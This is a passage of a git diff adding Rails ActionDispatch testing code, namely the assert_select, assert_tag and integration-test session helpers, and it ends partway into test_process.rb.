+ if arg.is_a?(HTML::Node)
+ root = arg
+ arg = args.shift
+ elsif arg == nil
+ raise ArgumentError, "First argument is either selector or element to select, but nil found. Perhaps you called assert_select with an element that does not exist?"
+ elsif defined?(@selected) && @selected
+ matches = []
+
+ @selected.each do |selected|
+ subset = css_select(selected, HTML::Selector.new(arg.dup, args.dup))
+ subset.each do |match|
+ matches << match unless matches.any? { |m| m.equal?(match) }
+ end
+ end
+
+ return matches
+ else
+ root = response_from_page
+ end
+
+ case arg
+ when String
+ selector = HTML::Selector.new(arg, args)
+ when Array
+ selector = HTML::Selector.new(*arg)
+ when HTML::Selector
+ selector = arg
+ else raise ArgumentError, "Expecting a selector as the first argument"
+ end
+
+ selector.select(root)
+ end
+
+ # An assertion that selects elements and makes one or more equality tests.
+ #
+ # If the first argument is an element, selects all matching elements
+ # starting from (and including) that element and all its children in
+ # depth-first order.
+ #
+ # If no element if specified, calling +assert_select+ selects from the
+ # response HTML unless +assert_select+ is called from within an +assert_select+ block.
+ #
+ # When called with a block +assert_select+ passes an array of selected elements
+ # to the block. Calling +assert_select+ from the block, with no element specified,
+ # runs the assertion on the complete set of elements selected by the enclosing assertion.
+ # Alternatively the array may be iterated through so that +assert_select+ can be called
+ # separately for each element.
+ #
+ #
+ # ==== Example
+ # If the response contains two ordered lists, each with four list elements then:
+ # assert_select "ol" do |elements|
+ # elements.each do |element|
+ # assert_select element, "li", 4
+ # end
+ # end
+ #
+ # will pass, as will:
+ # assert_select "ol" do
+ # assert_select "li", 8
+ # end
+ #
+ # The selector may be a CSS selector expression (String), an expression
+ # with substitution values, or an HTML::Selector object.
+ #
+ # === Equality Tests
+ #
+ # The equality test may be one of the following:
+ # * <tt>true</tt> - Assertion is true if at least one element selected.
+ # * <tt>false</tt> - Assertion is true if no element selected.
+ # * <tt>String/Regexp</tt> - Assertion is true if the text value of at least
+ # one element matches the string or regular expression.
+ # * <tt>Integer</tt> - Assertion is true if exactly that number of
+ # elements are selected.
+ # * <tt>Range</tt> - Assertion is true if the number of selected
+ # elements fit the range.
+ # If no equality test specified, the assertion is true if at least one
+ # element selected.
+ #
+ # To perform more than one equality tests, use a hash with the following keys:
+ # * <tt>:text</tt> - Narrow the selection to elements that have this text
+ # value (string or regexp).
+ # * <tt>:html</tt> - Narrow the selection to elements that have this HTML
+ # content (string or regexp).
+ # * <tt>:count</tt> - Assertion is true if the number of selected elements
+ # is equal to this value.
+ # * <tt>:minimum</tt> - Assertion is true if the number of selected
+ # elements is at least this value.
+ # * <tt>:maximum</tt> - Assertion is true if the number of selected
+ # elements is at most this value.
+ #
+ # If the method is called with a block, once all equality tests are
+ # evaluated the block is called with an array of all matched elements.
+ #
+ # # At least one form element
+ # assert_select "form"
+ #
+ # # Form element includes four input fields
+ # assert_select "form input", 4
+ #
+ # # Page title is "Welcome"
+ # assert_select "title", "Welcome"
+ #
+ # # Page title is "Welcome" and there is only one title element
+ # assert_select "title", {count: 1, text: "Welcome"},
+ # "Wrong title or more than one title element"
+ #
+ # # Page contains no forms
+ # assert_select "form", false, "This page must contain no forms"
+ #
+ # # Test the content and style
+ # assert_select "body div.header ul.menu"
+ #
+ # # Use substitution values
+ # assert_select "ol>li#?", /item-\d+/
+ #
+ # # All input fields in the form have a name
+ # assert_select "form input" do
+ # assert_select "[name=?]", /.+/ # Not empty
+ # end
+ def assert_select(*args, &block)
+ # Start with optional element followed by mandatory selector.
+ arg = args.shift
+ @selected ||= nil
+
+ if arg.is_a?(HTML::Node)
+ # First argument is a node (tag or text, but also HTML root),
+ # so we know what we're selecting from.
+ root = arg
+ arg = args.shift
+ elsif arg == nil
+ # This usually happens when passing a node/element that
+ # happens to be nil.
+ raise ArgumentError, "First argument is either selector or element to select, but nil found. Perhaps you called assert_select with an element that does not exist?"
+ elsif @selected
+ root = HTML::Node.new(nil)
+ root.children.concat @selected
+ else
+ # Otherwise just operate on the response document.
+ root = response_from_page
+ end
+
+ # First or second argument is the selector: string and we pass
+ # all remaining arguments. Array and we pass the argument. Also
+ # accepts selector itself.
+ case arg
+ when String
+ selector = HTML::Selector.new(arg, args)
+ when Array
+ selector = HTML::Selector.new(*arg)
+ when HTML::Selector
+ selector = arg
+ else raise ArgumentError, "Expecting a selector as the first argument"
+ end
+
+ # Next argument is used for equality tests.
+ equals = {}
+ case arg = args.shift
+ when Hash
+ equals = arg
+ when String, Regexp
+ equals[:text] = arg
+ when Integer
+ equals[:count] = arg
+ when Range
+ equals[:minimum] = arg.begin
+ equals[:maximum] = arg.end
+ when FalseClass
+ equals[:count] = 0
+ when NilClass, TrueClass
+ equals[:minimum] = 1
+ else raise ArgumentError, "I don't understand what you're trying to match"
+ end
+
+ # By default we're looking for at least one match.
+ if equals[:count]
+ equals[:minimum] = equals[:maximum] = equals[:count]
+ else
+ equals[:minimum] = 1 unless equals[:minimum]
+ end
+
+ # Last argument is the message we use if the assertion fails.
+ message = args.shift
+ #- message = "No match made with selector #{selector.inspect}" unless message
+ if args.shift
+ raise ArgumentError, "Not expecting that last argument, you either have too many arguments, or they're the wrong type"
+ end
+
+ matches = selector.select(root)
+ # If text/html, narrow down to those elements that match it.
+ content_mismatch = nil
+ if match_with = equals[:text]
+ matches.delete_if do |match|
+ text = ""
+ stack = match.children.reverse
+ while node = stack.pop
+ if node.tag?
+ stack.concat node.children.reverse
+ else
+ content = node.content
+ text << content
+ end
+ end
+ text.strip! unless NO_STRIP.include?(match.name)
+ text.sub!(/\A\n/, '') if match.name == "textarea"
+ unless match_with.is_a?(Regexp) ? (text =~ match_with) : (text == match_with.to_s)
+ content_mismatch ||= sprintf("<%s> expected but was\n<%s>.", match_with, text)
+ true
+ end
+ end
+ elsif match_with = equals[:html]
+ matches.delete_if do |match|
+ html = match.children.map(&:to_s).join
+ html.strip! unless NO_STRIP.include?(match.name)
+ unless match_with.is_a?(Regexp) ? (html =~ match_with) : (html == match_with.to_s)
+ content_mismatch ||= sprintf("<%s> expected but was\n<%s>.", match_with, html)
+ true
+ end
+ end
+ end
+ # Expecting foo found bar element only if found zero, not if
+ # found one but expecting two.
+ message ||= content_mismatch if matches.empty?
+ # Test minimum/maximum occurrence.
+ min, max, count = equals[:minimum], equals[:maximum], equals[:count]
+
+ # FIXME: minitest provides messaging when we use assert_operator,
+ # so is this custom message really needed?
+ message = message || %(Expected #{count_description(min, max, count)} matching "#{selector.to_s}", found #{matches.size}.)
+ if count
+ assert_equal matches.size, count, message
+ else
+ assert_operator matches.size, :>=, min, message if min
+ assert_operator matches.size, :<=, max, message if max
+ end
+
+ # If a block is given call that block. Set @selected to allow
+ # nested assert_select, which can be nested several levels deep.
+ if block_given? && !matches.empty?
+ begin
+ in_scope, @selected = @selected, matches
+ yield matches
+ ensure
+ @selected = in_scope
+ end
+ end
+
+ # Returns all matches elements.
+ matches
+ end
+
+ def count_description(min, max, count) #:nodoc:
+ pluralize = lambda {|word, quantity| word << (quantity == 1 ? '' : 's')}
+
+ if min && max && (max != min)
+ "between #{min} and #{max} elements"
+ elsif min && max && max == min && count
+ "exactly #{count} #{pluralize['element', min]}"
+ elsif min && !(min == 1 && max == 1)
+ "at least #{min} #{pluralize['element', min]}"
+ elsif max
+ "at most #{max} #{pluralize['element', max]}"
+ end
+ end
+
+ # Extracts the content of an element, treats it as encoded HTML and runs
+ # nested assertion on it.
+ #
+ # You typically call this method within another assertion to operate on
+ # all currently selected elements. You can also pass an element or array
+ # of elements.
+ #
+ # The content of each element is un-encoded, and wrapped in the root
+ # element +encoded+. It then calls the block with all un-encoded elements.
+ #
+ # # Selects all bold tags from within the title of an Atom feed's entries (perhaps to nab a section name prefix)
+ # assert_select "feed[xmlns='http://www.w3.org/2005/Atom']" do
+ # # Select each entry item and then the title item
+ # assert_select "entry>title" do
+ # # Run assertions on the encoded title elements
+ # assert_select_encoded do
+ # assert_select "b"
+ # end
+ # end
+ # end
+ #
+ #
+ # # Selects all paragraph tags from within the description of an RSS feed
+ # assert_select "rss[version=2.0]" do
+ # # Select description element of each feed item.
+ # assert_select "channel>item>description" do
+ # # Run assertions on the encoded elements.
+ # assert_select_encoded do
+ # assert_select "p"
+ # end
+ # end
+ # end
+ def assert_select_encoded(element = nil, &block)
+ case element
+ when Array
+ elements = element
+ when HTML::Node
+ elements = [element]
+ when nil
+ unless elements = @selected
+ raise ArgumentError, "First argument is optional, but must be called from a nested assert_select"
+ end
+ else
+ raise ArgumentError, "Argument is optional, and may be node or array of nodes"
+ end
+
+ fix_content = lambda do |node|
+ # Gets around a bug in the Rails 1.1 HTML parser.
+ node.content.gsub(/<!\[CDATA\[(.*)(\]\]>)?/m) { Rack::Utils.escapeHTML($1) }
+ end
+
+ selected = elements.map do |elem|
+ text = elem.children.select{ |c| not c.tag? }.map{ |c| fix_content[c] }.join
+ root = HTML::Document.new(CGI.unescapeHTML("<encoded>#{text}</encoded>")).root
+ css_select(root, "encoded:root", &block)[0]
+ end
+
+ begin
+ old_selected, @selected = @selected, selected
+ assert_select ":root", &block
+ ensure
+ @selected = old_selected
+ end
+ end
+
+ # Extracts the body of an email and runs nested assertions on it.
+ #
+ # You must enable deliveries for this assertion to work, use:
+ # ActionMailer::Base.perform_deliveries = true
+ #
+ # assert_select_email do
+ # assert_select "h1", "Email alert"
+ # end
+ #
+ # assert_select_email do
+ # items = assert_select "ol>li"
+ # items.each do
+ # # Work with items here...
+ # end
+ # end
+ def assert_select_email(&block)
+ deliveries = ActionMailer::Base.deliveries
+ assert !deliveries.empty?, "No e-mail in delivery list"
+
+ deliveries.each do |delivery|
+ (delivery.parts.empty? ? [delivery] : delivery.parts).each do |part|
+ if part["Content-Type"].to_s =~ /^text\/html\W/
+ root = HTML::Document.new(part.body.to_s).root
+ assert_select root, ":root", &block
+ end
+ end
+ end
+ end
+
+ protected
+ # +assert_select+ and +css_select+ call this to obtain the content in the HTML page.
+ def response_from_page
+ html_document.root
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/testing/assertions/tag.rb b/actionpack/lib/action_dispatch/testing/assertions/tag.rb
new file mode 100644
index 0000000..e5fe30b
--- /dev/null
+++ b/actionpack/lib/action_dispatch/testing/assertions/tag.rb
@@ -0,0 +1,135 @@
+require 'action_view/vendor/html-scanner'
+
+module ActionDispatch
+ module Assertions
+ # Pair of assertions to testing elements in the HTML output of the response.
+ module TagAssertions
+ # Asserts that there is a tag/node/element in the body of the response
+ # that meets all of the given conditions. The +conditions+ parameter must
+ # be a hash of any of the following keys (all are optional):
+ #
+ # * <tt>:tag</tt>: the node type must match the corresponding value
+ # * <tt>:attributes</tt>: a hash. The node's attributes must match the
+ # corresponding values in the hash.
+ # * <tt>:parent</tt>: a hash. The node's parent must match the
+ # corresponding hash.
+ # * <tt>:child</tt>: a hash. At least one of the node's immediate children
+ # must meet the criteria described by the hash.
+ # * <tt>:ancestor</tt>: a hash. At least one of the node's ancestors must
+ # meet the criteria described by the hash.
+ # * <tt>:descendant</tt>: a hash. At least one of the node's descendants
+ # must meet the criteria described by the hash.
+ # * <tt>:sibling</tt>: a hash. At least one of the node's siblings must
+ # meet the criteria described by the hash.
+ # * <tt>:after</tt>: a hash. The node must be after any sibling meeting
+ # the criteria described by the hash, and at least one sibling must match.
+ # * <tt>:before</tt>: a hash. The node must be before any sibling meeting
+ # the criteria described by the hash, and at least one sibling must match.
+ # * <tt>:children</tt>: a hash, for counting children of a node. Accepts
+ # the keys:
+ # * <tt>:count</tt>: either a number or a range which must equal (or
+ # include) the number of children that match.
+ # * <tt>:less_than</tt>: the number of matching children must be less
+ # than this number.
+ # * <tt>:greater_than</tt>: the number of matching children must be
+ # greater than this number.
+ # * <tt>:only</tt>: another hash consisting of the keys to use
+ # to match on the children, and only matching children will be
+ # counted.
+ # * <tt>:content</tt>: the textual content of the node must match the
+ # given value. This will not match HTML tags in the body of a
+ # tag--only text.
+ #
+ # Conditions are matched using the following algorithm:
+ #
+ # * if the condition is a string, it must be a substring of the value.
+ # * if the condition is a regexp, it must match the value.
+ # * if the condition is a number, the value must match number.to_s.
+ # * if the condition is +true+, the value must not be +nil+.
+ # * if the condition is +false+ or +nil+, the value must be +nil+.
+ #
+ # # Assert that there is a "span" tag
+ # assert_tag tag: "span"
+ #
+ # # Assert that there is a "span" tag with id="x"
+ # assert_tag tag: "span", attributes: { id: "x" }
+ #
+ # # Assert that there is a "span" tag using the short-hand
+ # assert_tag :span
+ #
+ # # Assert that there is a "span" tag with id="x" using the short-hand
+ # assert_tag :span, attributes: { id: "x" }
+ #
+ # # Assert that there is a "span" inside of a "div"
+ # assert_tag tag: "span", parent: { tag: "div" }
+ #
+ # # Assert that there is a "span" somewhere inside a table
+ # assert_tag tag: "span", ancestor: { tag: "table" }
+ #
+ # # Assert that there is a "span" with at least one "em" child
+ # assert_tag tag: "span", child: { tag: "em" }
+ #
+ # # Assert that there is a "span" containing a (possibly nested)
+ # # "strong" tag.
+ # assert_tag tag: "span", descendant: { tag: "strong" }
+ #
+ # # Assert that there is a "span" containing between 2 and 4 "em" tags
+ # # as immediate children
+ # assert_tag tag: "span",
+ # children: { count: 2..4, only: { tag: "em" } }
+ #
+ # # Get funky: assert that there is a "div", with an "ul" ancestor
+ # # and an "li" parent (with "class" = "enum"), and containing a
+ # # "span" descendant that contains text matching /hello world/
+ # assert_tag tag: "div",
+ # ancestor: { tag: "ul" },
+ # parent: { tag: "li",
+ # attributes: { class: "enum" } },
+ # descendant: { tag: "span",
+ # child: /hello world/ }
+ #
+ # <b>Please note</b>: +assert_tag+ and +assert_no_tag+ only work
+ # with well-formed XHTML. They recognize a few tags as implicitly self-closing
+ # (like br and hr and such) but will not work correctly with tags
+ # that allow optional closing tags (p, li, td). <em>You must explicitly
+ # close all of your tags to use these assertions.</em>
+ def assert_tag(*opts)
+ opts = opts.size > 1 ? opts.last.merge({ :tag => opts.first.to_s }) : opts.first
+ tag = find_tag(opts)
+ assert tag, "expected tag, but no tag found matching #{opts.inspect} in:\n#{@response.body.inspect}"
+ end
+
+ # Identical to +assert_tag+, but asserts that a matching tag does _not_
+ # exist. (See +assert_tag+ for a full discussion of the syntax.)
+ #
+ # # Assert that there is not a "div" containing a "p"
+ # assert_no_tag tag: "div", descendant: { tag: "p" }
+ #
+ # # Assert that an unordered list is empty
+ # assert_no_tag tag: "ul", descendant: { tag: "li" }
+ #
+ # # Assert that there is not a "p" tag with between 1 to 3 "img" tags
+ # # as immediate children
+ # assert_no_tag tag: "p",
+ # children: { count: 1..3, only: { tag: "img" } }
+ def assert_no_tag(*opts)
+ opts = opts.size > 1 ? opts.last.merge({ :tag => opts.first.to_s }) : opts.first
+ tag = find_tag(opts)
+ assert !tag, "expected no tag, but found tag matching #{opts.inspect} in:\n#{@response.body.inspect}"
+ end
+
+ def find_tag(conditions)
+ html_document.find(conditions)
+ end
+
+ def find_all_tag(conditions)
+ html_document.find_all(conditions)
+ end
+
+ def html_document
+ xml = @response.content_type =~ /xml$/
+ @html_document ||= HTML::Document.new(@response.body, false, xml)
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/testing/integration.rb b/actionpack/lib/action_dispatch/testing/integration.rb
new file mode 100644
index 0000000..56c3125
--- /dev/null
+++ b/actionpack/lib/action_dispatch/testing/integration.rb
@@ -0,0 +1,518 @@
+require 'stringio'
+require 'uri'
+require 'active_support/core_ext/kernel/singleton_class'
+require 'active_support/core_ext/object/try'
+require 'rack/test'
+require 'minitest/unit'
+
+module ActionDispatch
+ module Integration #:nodoc:
+ module RequestHelpers
+ # Performs a GET request with the given parameters.
+ #
+ # - +path+: The URI (as a String) on which you want to perform a GET
+ # request.
+ # - +parameters+: The HTTP parameters that you want to pass. This may
+ # be +nil+,
+ # a Hash, or a String that is appropriately encoded
+ # (<tt>application/x-www-form-urlencoded</tt> or
+ # <tt>multipart/form-data</tt>).
+ # - +headers_or_env+: Additional headers to pass, as a Hash. The headers will be
+ # merged into the Rack env hash.
+ #
+ # This method returns a Response object, which one can use to
+ # inspect the details of the response. Furthermore, if this method was
+ # called from an ActionDispatch::IntegrationTest object, then that
+ # object's <tt>@response</tt> instance variable will point to the same
+ # response object.
+ #
+ # You can also perform POST, PATCH, PUT, DELETE, and HEAD requests with
+ # +#post+, +#patch+, +#put+, +#delete+, and +#head+.
+ def get(path, parameters = nil, headers_or_env = nil)
+ process :get, path, parameters, headers_or_env
+ end
+
+ # Performs a POST request with the given parameters. See +#get+ for more
+ # details.
+ def post(path, parameters = nil, headers_or_env = nil)
+ process :post, path, parameters, headers_or_env
+ end
+
+ # Performs a PATCH request with the given parameters. See +#get+ for more
+ # details.
+ def patch(path, parameters = nil, headers_or_env = nil)
+ process :patch, path, parameters, headers_or_env
+ end
+
+ # Performs a PUT request with the given parameters. See +#get+ for more
+ # details.
+ def put(path, parameters = nil, headers_or_env = nil)
+ process :put, path, parameters, headers_or_env
+ end
+
+ # Performs a DELETE request with the given parameters. See +#get+ for
+ # more details.
+ def delete(path, parameters = nil, headers_or_env = nil)
+ process :delete, path, parameters, headers_or_env
+ end
+
+ # Performs a HEAD request with the given parameters. See +#get+ for more
+ # details.
+ def head(path, parameters = nil, headers_or_env = nil)
+ process :head, path, parameters, headers_or_env
+ end
+
+ # Performs a OPTIONS request with the given parameters. See +#get+ for
+ # more details.
+ def options(path, parameters = nil, headers_or_env = nil)
+ process :options, path, parameters, headers_or_env
+ end
+
+ # Performs an XMLHttpRequest request with the given parameters, mirroring
+ # a request from the Prototype library.
+ #
+ # The request_method is +:get+, +:post+, +:patch+, +:put+, +:delete+ or
+ # +:head+; the parameters are +nil+, a hash, or a url-encoded or multipart
+ # string; the headers are a hash.
+ def xml_http_request(request_method, path, parameters = nil, headers_or_env = nil)
+ headers_or_env ||= {}
+ headers_or_env['HTTP_X_REQUESTED_WITH'] = 'XMLHttpRequest'
+ headers_or_env['HTTP_ACCEPT'] ||= [Mime::JS, Mime::HTML, Mime::XML, 'text/xml', Mime::ALL].join(', ')
+ process(request_method, path, parameters, headers_or_env)
+ end
+ alias xhr :xml_http_request
+
+ # Follow a single redirect response. If the last response was not a
+ # redirect, an exception will be raised. Otherwise, the redirect is
+ # performed on the location header.
+ def follow_redirect!
+ raise "not a redirect! #{status} #{status_message}" unless redirect?
+ get(response.location)
+ status
+ end
+
+ # Performs a request using the specified method, following any subsequent
+ # redirect. Note that the redirects are followed until the response is
+ # not a redirect--this means you may run into an infinite loop if your
+ # redirect loops back to itself.
+ def request_via_redirect(http_method, path, parameters = nil, headers_or_env = nil)
+ process(http_method, path, parameters, headers_or_env)
+ follow_redirect! while redirect?
+ status
+ end
+
+ # Performs a GET request, following any subsequent redirect.
+ # See +request_via_redirect+ for more information.
+ def get_via_redirect(path, parameters = nil, headers_or_env = nil)
+ request_via_redirect(:get, path, parameters, headers_or_env)
+ end
+
+ # Performs a POST request, following any subsequent redirect.
+ # See +request_via_redirect+ for more information.
+ def post_via_redirect(path, parameters = nil, headers_or_env = nil)
+ request_via_redirect(:post, path, parameters, headers_or_env)
+ end
+
+ # Performs a PATCH request, following any subsequent redirect.
+ # See +request_via_redirect+ for more information.
+ def patch_via_redirect(path, parameters = nil, headers_or_env = nil)
+ request_via_redirect(:patch, path, parameters, headers_or_env)
+ end
+
+ # Performs a PUT request, following any subsequent redirect.
+ # See +request_via_redirect+ for more information.
+ def put_via_redirect(path, parameters = nil, headers_or_env = nil)
+ request_via_redirect(:put, path, parameters, headers_or_env)
+ end
+
+ # Performs a DELETE request, following any subsequent redirect.
+ # See +request_via_redirect+ for more information.
+ def delete_via_redirect(path, parameters = nil, headers_or_env = nil)
+ request_via_redirect(:delete, path, parameters, headers_or_env)
+ end
+ end
+
+ # An instance of this class represents a set of requests and responses
+ # performed sequentially by a test process. Because you can instantiate
+ # multiple sessions and run them side-by-side, you can also mimic (to some
+ # limited extent) multiple simultaneous users interacting with your system.
+ #
+ # Typically, you will instantiate a new session using
+ # IntegrationTest#open_session, rather than instantiating
+ # Integration::Session directly.
+ class Session
+ DEFAULT_HOST = "www.example.com"
+
+ include MiniTest::Assertions
+ include TestProcess, RequestHelpers, Assertions
+
+ %w( status status_message headers body redirect? ).each do |method|
+ delegate method, :to => :response, :allow_nil => true
+ end
+
+ %w( path ).each do |method|
+ delegate method, :to => :request, :allow_nil => true
+ end
+
+ # The hostname used in the last request.
+ def host
+ @host || DEFAULT_HOST
+ end
+ attr_writer :host
+
+ # The remote_addr used in the last request.
+ attr_accessor :remote_addr
+
+ # The Accept header to send.
+ attr_accessor :accept
+
+ # A map of the cookies returned by the last response, and which will be
+ # sent with the next request.
+ def cookies
+ _mock_session.cookie_jar
+ end
+
+ # A reference to the controller instance used by the last request.
+ attr_reader :controller
+
+ # A reference to the request instance used by the last request.
+ attr_reader :request
+
+ # A reference to the response instance used by the last request.
+ attr_reader :response
+
+ # A running counter of the number of requests processed.
+ attr_accessor :request_count
+
+ include ActionDispatch::Routing::UrlFor
+
+ # Create and initialize a new Session instance.
+ def initialize(app)
+ super()
+ @app = app
+
+ # If the app is a Rails app, make url_helpers available on the session
+ # This makes app.url_for and app.foo_path available in the console
+ if app.respond_to?(:routes)
+ singleton_class.class_eval do
+ include app.routes.url_helpers if app.routes.respond_to?(:url_helpers)
+ include app.routes.mounted_helpers if app.routes.respond_to?(:mounted_helpers)
+ end
+ end
+
+ reset!
+ end
+
+ def url_options
+ @url_options ||= default_url_options.dup.tap do |url_options|
+ url_options.reverse_merge!(controller.url_options) if controller
+
+ if @app.respond_to?(:routes) && @app.routes.respond_to?(:default_url_options)
+ url_options.reverse_merge!(@app.routes.default_url_options)
+ end
+
+ url_options.reverse_merge!(:host => host, :protocol => https? ? "https" : "http")
+ end
+ end
+
+ # Resets the instance. This can be used to reset the state information
+ # in an existing session instance, so it can be used from a clean-slate
+ # condition.
+ #
+ # session.reset!
+ def reset!
+ @https = false
+ @controller = @request = @response = nil
+ @_mock_session = nil
+ @request_count = 0
+ @url_options = nil
+
+ self.host = DEFAULT_HOST
+ self.remote_addr = "127.0.0.1"
+ self.accept = "text/xml,application/xml,application/xhtml+xml," +
+ "text/html;q=0.9,text/plain;q=0.8,image/png," +
+ "*/*;q=0.5"
+
+ unless defined? @named_routes_configured
+ # the helpers are made protected by default--we make them public for
+ # easier access during testing and troubleshooting.
+ @named_routes_configured = true
+ end
+ end
+
+ # Specify whether or not the session should mimic a secure HTTPS request.
+ #
+ # session.https!
+ # session.https!(false)
+ def https!(flag = true)
+ @https = flag
+ end
+
+ # Return +true+ if the session is mimicking a secure HTTPS request.
+ #
+ # if session.https?
+ # ...
+ # end
+ def https?
+ @https
+ end
+
+ # Set the host name to use in the next request.
+ #
+ # session.host! "www.example.com"
+ alias :host! :host=
+
+ private
+ def _mock_session
+ @_mock_session ||= Rack::MockSession.new(@app, host)
+ end
+
+ # Performs the actual request.
+ def process(method, path, parameters = nil, headers_or_env = nil)
+ if path =~ %r{://}
+ location = URI.parse(path)
+ https! URI::HTTPS === location if location.scheme
+ host! "#{location.host}:#{location.port}" if location.host
+ path = location.query ? "#{location.path}?#{location.query}" : location.path
+ end
+
+ unless ActionController::Base < ActionController::Testing
+ ActionController::Base.class_eval do
+ include ActionController::Testing
+ end
+ end
+
+ hostname, port = host.split(':')
+
+ env = {
+ :method => method,
+ :params => parameters,
+
+ "SERVER_NAME" => hostname,
+ "SERVER_PORT" => port || (https? ? "443" : "80"),
+ "HTTPS" => https? ? "on" : "off",
+ "rack.url_scheme" => https? ? "https" : "http",
+
+ "REQUEST_URI" => path,
+ "HTTP_HOST" => host,
+ "REMOTE_ADDR" => remote_addr,
+ "CONTENT_TYPE" => "application/x-www-form-urlencoded",
+ "HTTP_ACCEPT" => accept
+ }
+ # this modifies the passed env directly
+ Http::Headers.new(env).merge!(headers_or_env || {})
+
+ session = Rack::Test::Session.new(_mock_session)
+
+ env.merge!(env)
+
+ # NOTE: rack-test v0.5 doesn't build a default uri correctly
+ # Make sure requested path is always a full uri
+ uri = URI.parse('/')
+ uri.scheme ||= env['rack.url_scheme']
+ uri.host ||= env['SERVER_NAME']
+ uri.port ||= env['SERVER_PORT'].try(:to_i)
+ uri += path
+
+ session.request(uri.to_s, env)
+
+ @request_count += 1
+ @request = ActionDispatch::Request.new(session.last_request.env)
+ response = _mock_session.last_response
+ @response = ActionDispatch::TestResponse.new(response.status, response.headers, response.body)
+ @html_document = nil
+ @url_options = nil
+
+ @controller = session.last_request.env['action_controller.instance']
+
+ return response.status
+ end
+ end
+
+ module Runner
+ include ActionDispatch::Assertions
+
+ def app
+ @app ||= nil
+ end
+
+ # Reset the current session. This is useful for testing multiple sessions
+ # in a single test case.
+ def reset!
+ @integration_session = Integration::Session.new(app)
+ end
+
+ %w(get post patch put head delete options cookies assigns
+ xml_http_request xhr get_via_redirect post_via_redirect).each do |method|
+ define_method(method) do |*args|
+ reset! unless integration_session
+ # reset the html_document variable, but only for new get/post calls
+ @html_document = nil unless method == 'cookies' || method == 'assigns'
+ integration_session.__send__(method, *args).tap do
+ copy_session_variables!
+ end
+ end
+ end
+
+ # Open a new session instance. If a block is given, the new session is
+ # yielded to the block before being returned.
+ #
+ # session = open_session do |sess|
+ # sess.extend(CustomAssertions)
+ # end
+ #
+ # By default, a single session is automatically created for you, but you
+ # can use this method to open multiple sessions that ought to be tested
+ # simultaneously.
+ def open_session(app = nil)
+ dup.tap do |session|
+ yield session if block_given?
+ end
+ end
+
+ # Copy the instance variables from the current session instance into the
+ # test instance.
+ def copy_session_variables! #:nodoc:
+ return unless integration_session
+ %w(controller response request).each do |var|
+ instance_variable_set("@#{var}", @integration_session.__send__(var))
+ end
+ end
+
+ def default_url_options
+ reset! unless integration_session
+ integration_session.default_url_options
+ end
+
+ def default_url_options=(options)
+ reset! unless integration_session
+ integration_session.default_url_options = options
+ end
+
+ def respond_to?(method, include_private = false)
+ integration_session.respond_to?(method, include_private) || super
+ end
+
+ # Delegate unhandled messages to the current session instance.
+ def method_missing(sym, *args, &block)
+ reset! unless integration_session
+ if integration_session.respond_to?(sym)
+ integration_session.__send__(sym, *args, &block).tap do
+ copy_session_variables!
+ end
+ else
+ super
+ end
+ end
+
+ private
+ def integration_session
+ @integration_session ||= nil
+ end
+ end
+ end
+
+ # An integration test spans multiple controllers and actions,
+ # tying them all together to ensure they work together as expected. It tests
+ # more completely than either unit or functional tests do, exercising the
+ # entire stack, from the dispatcher to the database.
+ #
+ # At its simplest, you simply extend <tt>IntegrationTest</tt> and write your tests
+ # using the get/post methods:
+ #
+ # require "test_helper"
+ #
+ # class ExampleTest < ActionDispatch::IntegrationTest
+ # fixtures :people
+ #
+ # def test_login
+ # # get the login page
+ # get "/login"
+ # assert_equal 200, status
+ #
+ # # post the login and follow through to the home page
+ # post "/login", username: people(:jamis).username,
+ # password: people(:jamis).password
+ # follow_redirect!
+ # assert_equal 200, status
+ # assert_equal "/home", path
+ # end
+ # end
+ #
+ # However, you can also have multiple session instances open per test, and
+ # even extend those instances with assertions and methods to create a very
+ # powerful testing DSL that is specific for your application. You can even
+ # reference any named routes you happen to have defined.
+ #
+ # require "test_helper"
+ #
+ # class AdvancedTest < ActionDispatch::IntegrationTest
+ # fixtures :people, :rooms
+ #
+ # def test_login_and_speak
+ # jamis, david = login(:jamis), login(:david)
+ # room = rooms(:office)
+ #
+ # jamis.enter(room)
+ # jamis.speak(room, "anybody home?")
+ #
+ # david.enter(room)
+ # david.speak(room, "hello!")
+ # end
+ #
+ # private
+ #
+ # module CustomAssertions
+ # def enter(room)
+ # # reference a named route, for maximum internal consistency!
+ # get(room_url(id: room.id))
+ # assert(...)
+ # ...
+ # end
+ #
+ # def speak(room, message)
+ # xml_http_request "/say/#{room.id}", message: message
+ # assert(...)
+ # ...
+ # end
+ # end
+ #
+ # def login(who)
+ # open_session do |sess|
+ # sess.extend(CustomAssertions)
+ # who = people(who)
+ # sess.post "/login", username: who.username,
+ # password: who.password
+ # assert(...)
+ # end
+ # end
+ # end
+ class IntegrationTest < ActiveSupport::TestCase
+ include Integration::Runner
+ include ActionController::TemplateAssertions
+ include ActionDispatch::Routing::UrlFor
+
+ @@app = nil
+
+ def self.app
+ if !@@app && !ActionDispatch.test_app
+ ActiveSupport::Deprecation.warn "Rails application fallback is deprecated and no longer works, please set ActionDispatch.test_app"
+ end
+
+ @@app || ActionDispatch.test_app
+ end
+
+ def self.app=(app)
+ @@app = app
+ end
+
+ def app
+ super || self.class.app
+ end
+
+ def url_options
+ reset! unless integration_session
+ integration_session.url_options
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/testing/test_process.rb b/actionpack/lib/action_dispatch/testing/test_process.rb
new file mode 100644
index 0000000..630e6a9
--- /dev/null
+++ b/actionpack/lib/action_dispatch/testing/test_process.rb
@@ -0,0 +1,44 @@
+require 'action_dispatch/middleware/cookies'
+require 'action_dispatch/middleware/flash'
+require 'active_support/core_ext/hash/indifferent_access'
+
+module ActionDispatch
+ module TestProcess
+ def assigns(key = nil)
+ assigns = {}.with_indifferent_access
+ @controller.view_assigns.each { |k, v| assigns.regular_writer(k, v) }
+ key.nil? ? assigns : assigns[key]
+ end
+
+ def session
+ @request.session
+ end
+
+ def flash
+ @request.flash
+ end
+
+ def cookies
+ @request.cookie_jar
+ end
+
+ def redirect_to_url
+ @response.redirect_url
+ end
+
+ # Shortcut for <tt>Rack::Test::UploadedFile.new(File.join(ActionController::TestCase.fixture_path, path), type)</tt>:
+ #
+ # post :change_avatar, avatar: fixture_file_upload('files/spongebob.png', 'image/png')
+ #
+ # To upload binary files on Windows, pass <tt>:binary</tt> as the last parameter.
+ # This will not affect other platforms:
+ #
+ # post :change_avatar, avatar: fixture_file_upload('files/spongebob.png', 'image/png', :binary)
+ def fixture_file_upload(path, mime_type = nil, binary = false)
